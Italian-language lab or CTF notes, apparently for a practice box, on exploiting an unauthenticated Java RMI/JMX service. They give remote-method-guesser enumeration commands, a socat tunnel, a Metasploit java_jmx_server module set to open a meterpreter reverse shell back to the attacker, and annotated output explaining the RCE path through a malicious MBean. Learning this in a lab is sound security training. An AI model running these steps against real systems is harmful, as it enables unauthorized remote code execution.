tags: RMG Remote_Method_Guesser Java_RMI


Quando trovi un servizio Java_RMI prova ad utilizzare il seguente tool:

 
git clone https://github.com/qtc-de/remote-method-guesser
 
cd remote-method-guesser
 
mvn package
 
cd target
 

Come prima enumerazione puoi provare questo comando:

java -jar rmg-5.1.0-jar-with-dependencies.jar enum 10.129.6.227 2222

Una volta ottenuto lo objid puoi provare a darglielo il pasto per ulteriori informazioni:

java -jar rmg-5.1.0-jar-with-dependencies.jar objid '[513a9f49:19c8fcc82c6:-7fff, 3242180432469485620]'

Anche se non ti trovano vulnerabilità puoi provare a fare un bruteforce:

java -jar rmg-5.1.0-jar-with-dependencies.jar guess 10.129.6.227 2222            

Port Forwarding

Creazione del tunnel:

sudo socat TCP-LISTEN:<PORTA_VITTIMA>,fork TCP:<IP_VITTIMA>:<PORTA_VITTIMA>

Come PORTA_VITTIMA ci devi mettere quella trovata nella fase precedente di enumarazione non quella trovata tramite Nmap che usi per l’enumerazione, in questo esempio quella di questa sezione:

[+] 		   Endpoint: 127.0.1.1:42269  CSF: RMISocketFactory

Exploit tramite Metasploit:

use exploit/multi/misc/java_jmx_server
set RHOSTS 10.129.6.227
set RPORT 2222
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST TUO_IP_KALI
set LPORT 4444
exploit

Analisi Output:

java -jar rmg-5.1.0-jar-with-dependencies.jar enum 10.129.6.227 2222
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		   Endpoint: 127.0.1.1:42269  CSF: RMISocketFactory  ObjID: [513a9f49:19c8fcc82c6:-7fff, 3242180432469485620]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Server complained that object cannot be casted to java.lang.String.
[+] 	 --> The type java.lang.String is unmarshalled via readString().
[+] 	 Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	 This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Registry rejected unbind call cause it was not sent from localhost.
[+] 	 Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Caught Exception containing 'no security manager' during RMI call.
[+] 	 --> The server does not use a Security Manager.
[+] 	 Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	 Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	 This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught NoSuchObjectException during activate call (activator not present).
[+] 	 Configuration Status: Current Default

1. Il Servizio Identificato: JMX

[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)

Non stai attaccando un servizio RMI generico, ma un’istanza di JMX (Java Management Extensions). JMX è un framework utilizzato per monitorare e gestire le applicazioni Java in remoto tramite oggetti chiamati “MBeans”.

2. Sicurezza e Autenticazione

[+] 	- Caught Exception containing 'no security manager' during RMI call.
[+] 	 --> The server does not use a Security Manager.

Il server non implementa un Security Manager e l’operazione guess ha confermato che il metodo newClient è accessibile. Questo significa che il servizio non richiede autenticazione e permette a chiunque di interagire liberamente con esso. L’assenza del Security Manager implica che se riesci a caricare un MBean (una classe Java) malevolo, la Java Virtual Machine lo eseguirà senza restrizioni di sicurezza (eseguendo codice sulla macchina - RCE).

[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).

Questo indica che la macchina è patchata contro i classici attacchi di deserializzazione pura (quelli effettuati con ysoserial direttamente sul registro RMI). Non è un problema in questo contesto: sfrutterai la logica di JMX, non un bug di deserializzazione.

3. L’Ostacolo Tecnico: L’Endpoint Interno

[+] 		   Endpoint: 127.0.1.1:42269  CSF: RMISocketFactory

Questo è il dettaglio più importante per la riuscita dell’attacco. Nel protocollo RMI, tu contatti la porta 2222 (il Registro), ma il Registro risponde dicendoti: “Per parlare con l’oggetto JMX, devi connetterti all’indirizzo 127.0.1.1 sulla porta 42269.